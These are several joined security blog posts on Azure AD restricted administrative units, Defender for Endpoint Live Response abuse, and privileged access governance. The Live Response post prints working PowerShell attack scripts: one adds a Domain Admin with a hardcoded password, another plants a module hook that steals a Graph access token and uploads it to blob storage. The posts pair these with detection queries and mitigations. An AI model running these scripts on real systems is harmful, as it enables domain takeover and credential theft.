permissions are able to add or remove members of RMAU. But the service principals will no longer been able to manage objects after the object has been added to RMAU. Permissions such as User.WriteRead.All
or Groups.ReadWrite.All
will be also restricted (similar to role assignments of “User or Group Administrator” on tenant-level). You will receive the following error message:
Insufficient privileges to complete the operation. Target object is a member of a restricted management administrative unit and can only be modified by administrators scoped to that administrative unit. Check that you are assigned a role that has permission to perform the operation for this restricted management administrative unit. Learn more: https://go.microsoft.com/fwlink/?linkid=2197831
Currently you can grant permission to manage objects from a RMAU by assigning the API Permission Directory.Write.Restricted
which establishes the access on a tenant-level scope. Verify if an assigned RMAU-scoped directory roles to the service principals would be a better solution in aspects of a “least privilege” approach.
But keep in mind, removing objects from the RMAU to use management permissions have always been possible (as part of the AdministrativeUnit.ReadWrite.All
permission).
During my tests, I’ve tried some privileged access paths outside of Azure AD role members or Microsoft Graph API permissions. This has been also potential privileged escalation paths in the past.
As already described in detail, a couple of scenarios using role-assignable groups or “PIM for Groups” are not supported or suitable in combination with RMAU. The following table should help to keep an overview about restriction of members as assignment of RMAU but also in relation to role assignable group.
Side Note: All data without warranty! I will continue some additional tests to double check the results because of the huge scope of scenarios and combinations. Feedback is always welcome!
From my point of view, the following use cases (as an example) could be evaluated to decide if role-assignable groups or protection by RMAU (based on the previous named considerations) are usable for you:
In the following descriptions and use cases, I will set my focus to restrict and isolate users or groups which will be used in Azure-related RBAC systems (security groups with eligible assignment to Azure Resources). RMAU provides restriction capabilities to establish a tiered administration as part of the “Enterprise Administration Mode”. The management of privileged objects in RMAUs should be restricted to “Control plane” (Tier0) admins (by Global Admins or dedicated admins with RMAU-scoped assignments) or integrated to secured identity governance processes (e.g., Entra ID Governance) only.
In the next section I would like to give some code samples about managing RMAU with PowerShell and Microsoft Graph API.
The cmdlet Invoke-MgGraphRequest
from the Microsoft Graph SDK will be used in the first sample to call the API endpoint. But there are also cmdlets to manage AUs directly, as you can see in the other samples as well. I’m using a Service Principal which needs AdministrativeUnit.ReadWrite.All” but no other or special permissions for creating RMAUs.
$Body = '
{
"displayName": "Tier1-ManagementPlane.Azure",
"description": "This administrative unit contains assets of ManagementPlane in Azure",
"isMemberManagementRestricted": true
}'
Invoke-MgGraphRequest -Method "POST" -Body $Body -Uri https://graph.microsoft.com/beta/administrativeUnits
Properties of RMAU in the Azure Portal after creation via Microsoft Graph API
Assignment of objects to a restricted management AU requires AdministrativeUnit.ReadWrite.All
permission only. In addition, User.Read.All
and/or Group.Read.All
is required to read/search the objects before adding them to the RMAU:
$AdminUnitUserMembers = ("admThomas1@cloud-architekt.net","admScotty1@cloud-architekt.net")
$AdminUnitGroupMembers = ("prg_Lab-Tier1.Azure.1.PlatformOps", "prg_Lab-Tier1.Azure.1.SecOps")
$AdminUnitName = "Tier1-ManagementPlane.Azure"
$AdminUnitId = (Get-MgDirectoryAdministrativeUnit -Filter "displayname eq '$AdminUnitName'").Id
foreach ($AdminUnitUserMember in $AdminUnitUserMembers) {
$UserId = (Get-MgUser -Filter "userPrincipalName eq '$($AdminUnitUserMember)'").Id
New-MgDirectoryAdministrativeUnitMemberByRef -AdministrativeUnitId $AdminUnitId -AdditionalProperties @{"@odata.id"="https://graph.microsoft.com/v1.0/users/$UserId"}
}
foreach ($AdminUnitGroupMember in $AdminUnitGroupMembers) {
$GroupId = (Get-MgGroup -Filter "displayName eq '$($AdminUnitGroupMember)'").Id
New-MgDirectoryAdministrativeUnitMemberByRef -AdministrativeUnitId $AdminUnitId -AdditionalProperties @{"@odata.id"="https://graph.microsoft.com/v1.0/groups/$GroupId"}
}
The previous sample can be also customized to add different object types (user and groups) by ObjectId
:
$AzurePrivilegedObjects = ("182472f1-e301-4585-9cd8-78486ac9706a","1f4899f3-b288-4993-b664-6913a462a4db")
$AzurePrivilegedObjects | foreach-object {
$AdminUnitMember = (Get-MgDirectoryObject -DirectoryObjectId $_.ObjectId)
Write-Host "Adding $($AdminUnitMember.AdditionalProperties.userPrincipalName) to $($AdminUnitName)"
New-MgDirectoryAdministrativeUnitMemberByRef -AdministrativeUnitId $AdminUnitId -AdditionalProperties @{"@odata.id"="https://graph.microsoft.com/v1.0/directoryObjects/$($_.ObjectId)"}
}
Side notes from my tests and automation jobs:
Remove-MgDirectoryAdministrativeUnitMember*
cmdlet in “Microsoft.Graph” PowerShell module. Therefor,e I’ve have been chosen the “Delete” method on the API call, like I did by using Invoke-MgGraphRequest
.The Azure (AD) portal shows a yellow information bar if a users or groups blade is restricted because of an assignment to a RMAU:
Restricted management will be shown in the overview of the “object” blade and in the properties.
Microsoft Graph API offers also an opportunity to check if object management is restricted:
$UserId = read-host -Prompt "Your user object ID to validate restricted management"
(Invoke-MgGraphRequest -Method Get -Uri https://graph.microsoft.com/beta/users/$userid -OutputType PSObject).isManagementRestricted
The assignment of directory roles with scope on a RMAU can be automated by using an existing “Microsoft.Graph” cmdlet. Permissions on Application API Permission scope “RoleManagement.ReadWrite.Directory” or “Privileged Role Administrator” directory role assignment are required. In the following example, “User Administrator” will be assigned to Identity Team (Control plane) to manage user accounts in RMAU:
# Associated Role Id to Directory Role can be listed with the following cmdlet
$DirectoryRole = "Groups Administrator"
$ScopedDirectoryRole = (Get-MgDirectoryRole -filter "DisplayName eq '$($DirectoryRole)'").Id
$ScopedDirectoryRoleMemberGroup = "prg_Lab-Tier0.AADTenant.0.IdentityOps"
$ScopedDirectoryRoleMemberId = (Get-MgGroup -Filter "DisplayName eq '$($ScopedDirectoryRoleMemberGroup)'").Id
$Body = @{
RoleId = $ScopedDirectoryRole
RoleMemberInfo = @{
Id = $ScopedDirectoryRoleMemberId
}
}
New-MgDirectoryAdministrativeUnitScopedRoleMember -AdministrativeUnitId $AdminUnitId -BodyParameter $Body
Assignment of RMAU-scoped directory roles works similar to Administrative Units in general
Side Note: Eligible directory role assignments on scope of RMAUs are also supported by Azure AD PIM. Check out the Microsoft docs article if you are interested in using PIM and consider to including the RMAU Object Id in the scope of directoryScopeId
Activities on RMAUs will be shown in a dedicated “OperationName” (e.g., “Add member to restricted management administrative unit”). This allows to use a simple filter for audit events related to RMAU operations.
AuditLogs
| where OperationName contains "restricted management administrative unit"
| extend InitiatingUserOrApp = iff(isnotempty(InitiatedBy.user.userPrincipalName),tostring(InitiatedBy.user.userPrincipalName), tostring(InitiatedBy.app.displayName))
| extend InitiatingUserOrAppId = iff(isnotempty(InitiatedBy.user.id),tostring(InitiatedBy.user.id), tostring(InitiatedBy.app.servicePrincipalId))
| extend InitiatingIpAddress = iff(isnotempty(InitiatedBy.user.ipAddress), tostring(InitiatedBy.user.ipAddress), tostring(InitiatedBy.app.ipAddress))
Result of KQL query on Audit Logs to check change of assignments on RMAU
Strictly monitoring of removing privileged or sensitive objects from RMAU should be considered.
Create, update or deleted operations on RMAUs are also available from the Audit Log . This sensitive activity can be filtered by using the property value of “IsMemberManagementRestricted”:
AuditLogs
| mv-expand TargetResources
| mv-expand TargetResources.modifiedProperties
| mv-expand TargetResources.modifiedProperties | where TargetResources_modifiedProperties.displayName == "IsMemberManagementRestricted"
| extend ActorId = iff(isnotempty(InitiatedBy.user.id),tostring(InitiatedBy.user.id), tostring(InitiatedBy.app.servicePrincipalId))
| extend ActorName = iff(isnotempty(InitiatedBy.user.userPrincipalName),tostring(InitiatedBy.user.userPrincipalName), tostring(InitiatedBy.app.displayName))
In the following section, I would like to give you an overview about some use cases in a tiered administration environment where RMAUs offers a great security benefit in restricted management. Unfortunately, security groups (using “PIM for Groups”) and role-assignable groups (Azure AD PIM) are not supported or appropriated. Using “PIM for Groups” and RMAU would be a perfect match to combine protection with the capability of Just-in-Time (JIT) access. Nevertheless, there are a couple of scenarios where users are assigned to groups with eligible roles to Azure RBAC.
The described examples are part of my solution to implement an “Enterprise Access Model” and result of continuous research (started three years ago), development and experiences to find a practical approach to implement a tier model in Microsoft Azure and Azure AD.
Are you interested in learning more about my implementation of Enterprise Access Model? I’m speaking at TEC 2023 in a deep dive session about entire solution and share more insights how you can protect privileged identities in Azure AD. More information and tickets: The Experts Conference (TEC) 2023
Protecting privileged users and groups on management and workload plane in Microsoft Azure was one of the previously named use cases. This is even more important, especially for those sensitive role definitions which have “Owner” or “Contributor” permission on Landing Zones (Workloads).
Overview of my Enterprise Access and Tiered Administration Model. Users and groups with permissions on the different tiered levels are assigned to the related RMAUs or AUs. For example, user accounts with sensitive workload plane permissions (Contributor of Resource Group) are assigned to RMAU “Workload Plane Accounts”.” Side Note: I would recommend to use role-assignable groups as primary “role group” for comprehensive horizontal scope (such as “PlatformOps” or “SecOps”) on management plane which offers also the capability to use this groups for delegation to scoped Azure AD roles (e.g., managing Landing Zone security groups in a RMAU).
An overview and sample of my defined Azure roles and classification in the “Tired Administration” design can be found here.
The privileged principals in Azure RBAC need to be protected and assigned to an associated RMAUs. Therefore, I build this automation as part of my AADOps PoC project.
Identification of Azure RBAC privileged objects for assignment
I’ve used my existing PowerShell script to get a list of all eligible and permanent roles in Azure PIM. In addition, I build a classification on role scope and actions to define the access (tier) level of the privileges.
The diagram below shows you an overview about the automation which I have developed to classify and assign privileged objects to RMAU automatically.
Example: Built-in or custom roles are classified as “Control plane” (Tier0) if they include action on “virtualMachines” and are assigned to the resource group which contains domain controllers. Users or groups with related Azure RBAC assignments will be classified as “Control plane” administrators and assigned to the associated RMAU automatically. The certain role assignments will be also stored in JSON export which shows the assigned privileged RBAC role.
At the end, this solution offers an automated assignment of privileged users and groups to the related “tier level” RMAUs. This provides an automation to restrict management for every classified privileged object as soon as the assignment has been made and the pipeline has triggered.
Azure Tags can be also used for classification of “AdminTierLevel” and “Service” alongside of manual classification in a JSON file.
Alternate solution: Microsoft has been released an option to assign users to Administrative Units automatically by using a “Dynamic membership rules”. This can be also used to assign Azure admins to RMAU if you have introduced a unique attribute to classify or identify those accounts (e.g., ExtensionAttribute or Naming Convention). Don’t forget to consider the trust of the attributes used in the membership rules. Everyone who can modify this attribute will be able to manage assignments to the RMAU. Groups are not supported for dynamic membership (rules) yet.
Note: Custom security attributes cannot be used as for dynamic assignment.
Abuse of privileged service connections (defined in service connection) or manipulation of CI/CD pipelines can be achieved by “account takeover” from privileged “Project (Collection) Administrators” or members of sensitive projects in Azure DevOps.
Overview of sensitive users and groups in Azure DevOps organizations. Project collection administrators and other sensitive role members with direct/indirect privileges to manipulate protected branches or pipelines should be protected by RMAU.
Modification of the assigned security groups from Azure AD is another access path. Review sensitive permission assignments of your Azure AD objects on organization- and project-level. Vinicius Moura has written a blog post about using Azure DevOps CLI to get a list of all users and group permissions in Azure DevOps.
Members with privileged access on “Organization- and Collection-Level” should be also restricted (e.g., Project Collection Administrators). But also, users with assigned “Project- or Object-level” permissions should be considered. e.g., when you are using Azure DevOps Projects to automate Azure and Azure AD environment (e.g., M365DSC) and users can modify Branch Policies, Service Connection or any other sensitive action.
Users with roles in Enterprise Agreement (EA) portal are another use case for sensitive accounts without protection in Azure AD by default. Read my Twitter threat or blog post if you want to learn more about these high-privileged roles.
Enterprise Administrators are able to modify roles in EA portal and change Account Owner which has full control on the Azure subscriptions. RMAU supports you to limit user management for those sensitive accounts as well.
I’ve written a PowerShell script to get a list of all assigned users in EA billing roles. This can be used (similar to the Azure RBAC script) to get a list of users which could be protected by assignment to RMAUs. The Billing REST API and Azure CLI allows to get a list of users with access.
Review all users with EA roles and consider protecting those accounts by assigning them to the associated RMAU (e.g., Enterprise Administrator to “Tier0-ControlPlane.Azure”).
Organizations which have been implemented “Azure Active Directory B2C” tenants are mostly using accounts from the organization’s tenant for privileged access. Those accounts will be invited as B2B guest users and assigned to directory roles in the B2C tenant.
User account in organization’s tenant will be invited to B2C tenants for management.
Assignment of the directory role in the B2C tenant will not apply the protection of directory role members in the home tenant. Therefore, those accounts should be assigned to RMAU to avoid “account takeover” by “User Administrators” or other delegated Azure AD roles in the organization’s tenant. Identify those B2C admin accounts in your tenant and assign them to an RAMU (e.g., Tier0-ControlPlane.AzureAD-B2C). This prevents privilege escalation to customer identities from directory role members of the organization tenant.
Security groups will be used in many cases for configuration or policy assignments. For example, include/exclude groups from Conditional Access Policies but also for other policies such as Authentication Methods (scope for SSPR or TAP).
Identify sensitive groups based on the pre-defined naming convention for this configuration group. Modification of this group objects should be restricted to “Identity administrators” (Tier0/Control Plane) only. Otherwise, Intune or Windows 365 administrators can modify assignments of configuration items in your Azure AD tenant.
Exclusion Groups for Conditional Access will be created and assigned to RMAU. This prevents other directory roles with “Group Management” permissions to add their accounts in one of those groups to bypass Conditional Access policies.
Azure AD device objects will be used in Conditional Access “Device filters” to restrict access from PAW/SAW only. In the past, it was a challenge to restrict Intune Administrators to manipulate device object attributes.
Device objects of PAW/SAW can be assigned to RMAU for restricted management by Intune and Windows 365 Administrators. Azure AD custom roles can be created and assigned to allow Endpoint admins limited management of the admin workstation.
Security groups for Intune RBAC, Device Compliance or Configuration Profiles assignment of SAW/PAW devices are other sensitive objects which should be restricted.
This dynamic group will be used to assign settings to SAW devices for “Control plane” administrators.
Microsoft Graph API can be used to get a list of all users and groups with assigned Intune RBAC roles.
]]>Security Operations Teams need the ability to establish a remote session to managed devices for in-depth investigation (including collection of forensic evidence). Live Response offers the option to establish this kind of access to onboarded devices for running a number of supported operations, this includes also executing PowerShell scripts or accessing files. This feature has been integrated to the Microsoft 365 Defender Portal and can be enabled from the “Advanced features” blade. Live Response sessions can be started from the “Device Inventory” or “Incident” page by authorized admins and provides a cloud-based interactive shell with support for some basic commands. A defined list for the supported commands (also in relation to platform support) is very well documented by Microsoft.
Using live response command console from Microsoft 365 Defender portal to get a list of supported commands
In addition, there is also a way for programmatic access by using the “Microsoft Defender for Endpoint API” endpoint (hereinafter referred to as “MDE API”) under the API endpoint MachineAction
.
Request a file from an MDE onboarded device by using Live Response via MDATP API (aka MDE API)
More information about Live Response are available from Microsoft Learn. There are also a couple of great blog articles by the community which explains this feature and related use cases:
Microsoft has shared some details about connectivity dependencies in the FAQ section of troubleshooting live response issues. This can be summarized as follows:
Live response leverages Defender for Endpoint sensor registration with WNS service in Windows. The WpnService (Windows Push Notifications System Service) interacts with WNS cloud service to initialize the connection.
The following docs articles covers further references to understand the WpnService in detail:
As we can see later in the event logs, mainly two services are involved in the activities: MsSense.exe is the main service executable for MDE and will start SenseIR.exe as child process which creates processes or files for the related Live Response actions.
It’s necessary to upload script files to the library before you can run them on the endpoints via Live Response. The library stores all script files at tenant-level and not for the individual user. Those files can be also managed by using the MDE API as well.
Upload of scripts to the library from M365D portal
The following members to Azure AD admin roles (alongside of Global Admin) have direct or indirect permissions to interact with Response API and manage library:
Microsoft has introduced a new Microsoft 365 Defender RBAC model which allows granular scoping for permissions. This includes also the delegation of the two custom permissions in relation to Live Response API. The permission are described in the Microsoft Learning article as follows:
Azure AD cross-service admin roles (e.g., Global and Security Admin) can still access M365D features and data, even the RBAC model has been activated.
Side Note: I’ve decided to set the scope on using the new RBAC model for further scenarios and mitigations.
As already described, the previously described features are also available via programmatic access. The following API Permissions from MDE API (named as “WindowsDefenderATP” in the API permission assignment) can be granted to an application:
App registration with assigned permission has similar permissions for Live Response and Library access as “Security Admin”.
I would like to describe two attack scenarios where privileged users or workload identities with “Advanced Live Response” permissions can gain Control Plane (Tier0) access. They rely on the possibility to execute (unsigned) scripts and abusing the established security context of “Local System” privileges. All the following attack scenarios are general examples and should only give an impression of how Tier0 devices (Domain Controllers, Privileged Access Workstations) could be affected. All the given samples will work interactively in the command console (Portal UI) but also by using the API.
In addition, you should consider also indirect privilege escalation paths by other privileged user and workload identities which are able to takeover accounts or groups with “Live Response” permissions.
Overview about related configurations and dependencies for establishing “Live Response Session” from the portal or by MDE API.
In this case, a live response session will be established to on-premises server which is running “Active Directory Domain Services”. The following script (”Add-DomainAdmin.ps1”) has been uploaded to the library:
Param(
[Parameter(Mandatory=$False)]
[string]$User = "DCAdmin",
[Parameter(Mandatory=$False)]
[Security.SecureString]$Password = ("D0mainAdm!n4U" | ConvertTo-SecureString -AsPlainText -Force)
)
New-LocalUser $User -Password $Password
net group "Domain Admins" $User /ADD /DOMAIN
The few lines of PowerShell script allow to create an AD user with a pre-defined password and add them to the “Domain Admins” group. The script can be executed remotely from the command console and shows the following result:
Command console displays the result from the executed PowerShell script and used Net command
Operations to create user account and add them to “Domain Admins” group will be executed by Local System and will be shown in the event log:
Transcript will be stored (alongside to other temporary files) in the following folder on the endpoint:
All executed commands will be visible in the command log:
As you can see in the screenshot, I’ve also used the getfile
command to get a copy of the NTDS database file. In general, many malicious activities can be executed within the given security context.
Az PowerShell module allows to load a custom script after initialization by placing a script file to the “PostImportScripts” folder. This will be abused to run the Get-AzAccessToken
cmdlet as soon the administrator is using an “Az.Resource” cmdlet (e.g., Get-AzResourceGroup
). Furthermore, the script will create an access token for Microsoft Graph or Azure ARM API and exfiltrate them to blob storage.
The following script (Copy-AzTokenPostImportScripts.ps1) will be executed in the Live Response command console to create the previously described script file.
Param(
[Parameter(Mandatory=$False)]
[string]$User = "AdminAccount",
[Parameter(Mandatory=$False)]
[string]$ModulePath = "C:\Users\$($User)\Documents\PowerShell\Modules\Az.Resources\6.5.3"
)
$Content = '
$BlobAccountName = "YourBlobStorage"
$BlobSAStoken = "Secret"
$ExportFolder = $env:Temp
$ExportFileName = "MSGraph_access_token.txt"
$ExportFilePath = $ExportFolder + "\" + $ExportFileName
(Get-AzAccessToken -ResourceTypeName MSGraph).Token | Out-File $ExportFilePath
$Uri = "https://$($BlobAccountName).blob.core.windows.net/token/$($ExportFileName)?$($BlobSAStoken)
$headers = @{"x-ms-blob-type" = "BlockBlob"}
Invoke-RestMethod -Uri $uri -Method Put -Headers $headers -InFile $file'
New-Item -Path "$ModulePath\PostImportScripts" -Name "Token.ps1" -ItemType "File" -Value $Content -Force
PowerShell script creates a script file in the Az.Resources module folder of the targeted user
Let’s take a closer look at what happens when the privileged user starts using Azure PowerShell:
Connect-AzAccount
will be used by the administrator for establishing an authenticated session to Microsoft Azure.The script “Token.ps1” from the “PostImportScripts” folder will be executed and the access token (in this sample for Microsoft Graph API) will be requested and stored in a blob storage:
Access token has been exfiltrated and copied to blob storage. URL of blob storage endpoints are mostly not blocked (even on a PAW/SAW device) which allows accessing container with SAS key.
The replayed token includes DeviceId
and amr
(authentication method) of the privileged user from the endpoint but also a comprehensive scope of “Directory.AccessAsUser.All”.
Token could be used for further malicious activities by creating or manipulating objects in Azure AD via Microsoft Graph API. For example, creating secrets for privileged workload identity as backdoor.
Other replay techniques with scope on other token artifact types can be implemented on a similar approach (e.g., deploying browser extension for pass-the-cookie attacks).
Audit of live response commands will be shown in the “History” tab of the “Action Center” (from M365D Portal). It displays the commands which have been entered in the portal UI or requested via API call. All initiated actions from privileged users and workload identities are covered.
Details and PowerShell Transcript can be downloaded from the “Command log”:
MDE API allows to get a list of Machine Actions which includes Live Response API requests:
GET [https://api.securitycenter.windows.com/api/machineactions](https://api.securitycenter.windows.com/api/machineactions)
The response shows details of the Live Response request and command
{
"@odata.context": "https://api.securitycenter.microsoft.com/api/$metadata#MachineActions",
"value": [
{
"id": "c141bb71-8125-4234-a184-XXXXXXXXX",
"type": "LiveResponse",
"title": null,
"requestor": "M365DLiveResponse",
"requestorComment": "Create Domain Admin",
"status": "Succeeded",
"machineId": "a9e15a8b846d93d43d6XXXXXXX",
"computerDnsName": "dc1.corp.cloud-architekt.net",
"creationDateTimeUtc": "2023-03-18T21:02:00.3538594Z",
"lastUpdateDateTimeUtc": "2023-03-18T21:04:41.93163Z",
"cancellationRequestor": null,
"cancellationComment": null,
"cancellationDateTimeUtc": null,
"errorHResult": 0,
"scope": null,
"externalId": null,
"requestSource": "PublicApi",
"relatedFileInfo": null,
"commands": [
{
"index": 0,
"startTime": "2023-03-18T21:04:01.92Z",
"endTime": "2023-03-18T21:04:04.693Z",
"commandStatus": "Completed",
"errors": [],
"command": {
"type": "RunScript",
"params": [
{
"key": "ScriptName",
"value": "Add-DomainAdmin.ps1"
}
]
}
}
],
"troubleshootInfo": null
}
}
Download link to get script output (RunScript
) or file content (GetFile
) can be requested (valid for 30 minutes) by the following API call:
https://api.securitycenter.microsoft.com/api/machineactions/ID/GetLiveResponseResultDownloadLink(index=0)
Unfortunately, the list of “Machine Action” seems to covers Live Response API activities only. Session operations from the Microsoft 365 Defender Portal UI seems not to be included!
Integration of Machine Action in Microsoft Sentinel
Machine.Read.All
. Choose a trigger for the workflow, like in this case a recurrence of 15 minutes.At next, we create a step to initialize a variable to store the time stamp since last run. This helps us to have a ingest only the MachineAction
Events since last run. Therefore, I am using the following expression:
getPastTime(5, 'Minute')
Unfortunately, there is no option to share a variable or parameter between the workflow runs which can be used. To my knowledge, this option is a pragmatic approach but not the smartest one. 😉
Access to the MDE API will be achieved by using a standard HTTP action. Consider to choosing the right authentication type (in this case, Managed Identity) and the filter to get only events since last run.
Side Note: There is also pre-built “Get list of machine actions” from the “Microsoft Defender ATP” connector which also supports Managed Identity. Nevertheless, I preferred to use HTTP actions for more flexibility.
Overview of the Logic App to ingest the machineAction activities to Microsoft Sentinel.
Analytics Rule and Hunting Query
In this sample, the built-in Watchlist “High Value Assets” will be used for tagging Control plane/Tier0-related assets:
The following KQL query combines this tagging with events from custom table which stores all Machine Action events:
let Tier0Assets = (_GetWatchlist('HighValueAssets')
| where ['Tags'] == "Tier0" | extend computerDnsName = ['Asset FQDN']);
machineActions_CL
| mv-expand parse_json(value_s)
| where value_s.type == "LiveResponse"
| evaluate bag_unpack(value_s)
| join kind=inner (Tier0Assets) on $left.computerDnsName == $right.computerDnsName
| project TimeGenerated, id, type, status, commands, computerDnsName, Tags, requestor, requestorComment
MachineAction events will be correlated with classification of “High Value Assets” which allows to filter for Tier0 assets
Insights of the live response activities are visible in the timeline of the affected devices. You will also find a dedicated “Action Type” and entry with the name “Event of type [LiveResponseCommand] observed on device” in this view.
Events from Live Response activities on domain controller to create a domain admin account
The following advanced hunting query can be used to get details about the SenseIR service from initializing until starting the PowerShell process.
union DeviceProcessEvents,DeviceNetworkEvents,DeviceFileEvents,DeviceEvents
| where InitiatingProcessFileName == "SenseIR.exe" and InitiatingProcessAccountName == "system"
| project Timestamp, DeviceName, ActionType, FileName, RemoteUrl, InitiatingProcessAccountSid, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessParentFileName, InitiatingProcessParentId
List of audited events during establishing connection to Live Response session and creating script file
Details of events are showing process tree on initialized session
Another KQL query allows to start hunting on other processes which has been created by the SenseIR service:
union DeviceProcessEvents
| where InitiatingProcessParentFileName == "SenseIR.exe" or InitiatingProcessParentFileName == "MsSense.exe"
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, ProcessCommandLine, ProcessId, InitiatingProcessParentId, InitiatingProcessParentFileName
Command line details of using “net” is visible in relation of created process by SenseIR
Both related MDE services are creating event entries and are available as provider in the Windows Event Log:
Microsoft-Windows-SENSE: Event of initializing SenseIR seems to be audited
Microsoft-Windows-SenseIR: The listed connection details cover “Action Id” which can be used for correlation to Transcript.
The following two log sources can be integrated into Microsoft Sentinel Workspace by using Azure Monitor Agent.
Overview of mitigations and considerations to secure privileges and access for Live Response
Live Response is an especially useful and essential feature for incident investigation. Therefore, I would not recommend to disabling this one. Nevertheless, you should review if it is needed to allow execution of unsigned scripts. The related setting can be found on the “Advanced Feature” blade:
It’s necessary to implement a scoped permission model for Microsoft 365 Defender (in my opinion). All privileged users and workload identities with unscoped permission should be considered as Control Plane (Tier0) users. This includes all members of “Security Administrator” role and Service Principals with API Permissions. It is important to reduce the numbers of these high-privileged principals and implement a particular monitoring for these privileged identities.
I can recommend to creating “Device Groups” which helps to restrict and select groups of privileged users which should have access to the included devices. In addition, role-assignable groups should be used to protect assigned users and the group objects from other directory roles.
Configuration of Device Groups (based Enterprise Access Model) which are assigned to related administrators by using role-assignable groups.
As already described, custom roles can be created to include/exclude permissions for Live Response. I would recommend to having dedicated roles for assigning these sensitive permissions.
Dedicated role (Security Responder) with custom permissions on using Basic and Advanced live response. This sensitive role could be assigned to a role-assignable group with enabled Just-in-Time access (Azure PIM for Groups) and approval process
There are a couple of data sources which can be used to create alerts in case of Live Response activities (e.g., SenseIR process events or initialized connections) on Tier0 assets. Timeline allows to get a comprehensive view on executed commands and modified files which should be particularly reviewed after detection of established Live Response sessions.
]]>Conditional Access and Entitlement Management plays an essential role to apply Zero Trust principles of “Verify explicitly” and “Use least-privilege access” to Privileged Identity and Access. In this article, I would like to describe how this features can be used to secure access to privileged interfaces and how to assign privileged access by considering Identity Governance policies.
In the previous blog post, I’ve described how to onboard a new privileged user account by using “Lifecycle Workflows” in Azure Active Directory. As a result of the provisioning process, a dedicated privileged account has been created which the following configurations and properties:
Overview of work and privileged account provisioning. In this article, I will describe the implementation that governs the process for privileged access assignments and enforcing access controls in context of privileged access with Conditional Access Policies.
The goal is to provide an approach which supports the principles of tiering model and avoid unauthorized access paths by establishing security boundaries. Furthermore, the implementation of the following role-based access and persona model should allows us to identify, monitor, and govern sensitive privileged accounts.
In summary, the following objectives will be try to be addressed:
Overview of personas in a “Tiered Administration Model” and their requests to gain privileged access with applied policies.
At this time, the privileged user is able to use the (one-time) Temporary Access Pass (TAP) to configure the Privileged Access Workstation (PAW) and register a FIDO2 security key or Windows Hello for Business (WHfB) during the device setup.
TAP will be used during the PAW self-provisioning process to set up passwordless and phishing-resistant authentication method (in this case, Windows Hello for Business).
Conditional Access for Privileged Users are assigned to members of privileged role groups in the following scenarios. Enforcing phishing-resistant authentication methods or filtering PAW device cannot be enforced before device setup has been completed.
Therefore, TAP must be allowed as authentication strength for privileged users for the onboarding process. Currently it’s not possible to exclude “My sign-ins” portal as “Cloud App” from Conditional Access to allow using TAP for registration of phishing-resistant authentication methods only. You need to include TAP to your authentication strength during the time of onboarding.
Consider to enable Web sign-in in Policy CSP (Authentication) if you want to use TAP from the Windows logon on Azure AD-joined devices.
Intune Device Configuration and Policies for PAW devices will be assigned to all privileged users. This allows policies to apply right after device provisioning (including highly restricted web and application access).
As already mentioned, the privileged user has no assignment to privileged roles yet. Therefore, access to privileged interfaces (such as Azure Portal) will be also blocked for this account (in Conditional Access) as long no membership to a privileged role group or particular exclusion exists. Only access to whitelisted URLs is granted (by using “local URL lock proxy”) which blocks public internet or other cloud app access.
At next, the new privileged user has the option to request an access package to gain membership to specific privileged roles. Only access packages with privileged roles in relation to the classification of the privileged account are available. In this case, the privilege account has been created for a team member of the “Azure Infrastructure Team” and classified as “Management Plane” (Tier1) administrator during provisioning process. Therefore, only access packages for those level of privileges will be shown (e.g., PlatformOps or NetOps groups to gain RBAC assignment in Microsoft Azure).
In near future, it would be possible to force the requester to verify the identity with a verifiable credential (as employee of the company IT). This allows explicitly verifying the user identity by using this separate verification method. Risks on “account takeover” during the onboarding or provisioning process (“dormant account”) can be reduced with requesting an identity which is owned by the employee (“account owner”).
Enforcing additional user verification (with Microsoft Entra Verified ID) when requesting access packages will be available in future. Microsoft is working on a private preview. Source of information and image: Twitter (@MrDebChoudhury)
Side Note: Additional advanced scenarios can be achieved by trigger a custom logic app after an assignment request or approval has been made. This could include requests to check detailed employee information (user details matches to privilege role profile) or requesting identity security status.
As defined in the access package policy, the request needs to be approved by another privileged user according to the requirement of the certain privileged access level.
After approval and assignment of the access package, the privileged user has granted eligible assignments to the RBAC role (in Azure PIM) and will be covered by particular Conditional Access policies.
Let’s have a closer look at the configuration in Identity Governance and Conditional Access to govern and secure the privileged access…
In the following samples, high-privileged permissions in Azure, Azure AD but also Azure DevOps will be assigned on membership in “Role-assignable groups” only. Assignment as member can be requested as access packages by privileged users which allows to govern a lifecycle process for privileged access. Access catalogs exists for the different levels of the Enterprise Access Model.
Overview of catalogs with different role-assignable groups for privileged access in Azure AD, Azure, Azure DevOps and Microsoft 365 (spitted between Control-, Management- and Workload Plane).
In the previous example, the privileged user has requested an access package to become role permissions as “PlatformOps”. The policy defines the following requirements to get an assignment to this access package.
Approval can be configured in the policy of the access package to define the approver and other parameter of this process step. This includes also the advanced configuration for multi-stage approvals or alternate approvers.
In addition, the policy also defines the lifecycle of the assigned access package. In this scenario, assignment needs to be renewed within one year and a quarterly review is needed by members of the Identity Operations Team (also approver of the access package).
Side Note: Delegation of the access review could be also delegated to a specific group of member(s) within the department or business of the assigned privileged user.
Access Review can be configured as part of the policy of the access package.
Microsoft has introduced “role-assignable groups” to assign Azure AD directory roles to security groups. Those group type are particular protected in Azure AD and also a prerequisite to use the capabilities of Privileged Access Group (PAG) in Azure PIM.
PAGs allow to assign eligible membership to security groups which can be used to provide just-in-time (JIT) access for group-based RBAC assignments outside of the supported PIM roles (in Azure and Azure AD). In general, this works for any application whose authorization can be assigned to a security group in Azure AD.
In a nutshell, role-assignable groups can be used to assign members for Azure AD directory role but it allows also to assign them as eligible group member/owner of this group type when Privileged Access Group is enabled. More details about the differences between Role-assignable and Privileged Access groups are very well described by Microsoft.
Side Note: Consider unsupported scenarios and known issues but also limitations of maximal numbers of role-assignable groups.
I’m using role-assignable groups to create role groups (prefix “PRG”) for Azure AD, Azure and Azure DevOps (in this example, named as “prg_Lab-Tier1.Azure.1.PlatformOps”). This allows to avoid modification from “Group Admins” (incl. service-specific roles, e.g., Intune Admin) and provides restricted user management for group members to specific privileged roles only.
Access Packages assigns requester to a role-assignable group after the approval and requirements of the policy have been satisfied. This group will be used to assign roles in Azure AD- and Azure-RBAC but also membership to security groups in Azure DevOps or any other group-based authorization.
Privileged users are assigned as permanent members to a role-assignable group which will be used for (eligible) assignment to the privileged roles in the target RBAC system. Even if the privileged user is permanent member of this group, no standing privileged access will be assigned based on this membership. As group member, the user is able to request eligible roles in Azure and Azure AD or group membership to a PAG via PIM. For example, admMOB1 is permanent member of the shown role group but has to request the eligible assignment to the Azure RBAC role via Azure PIM.
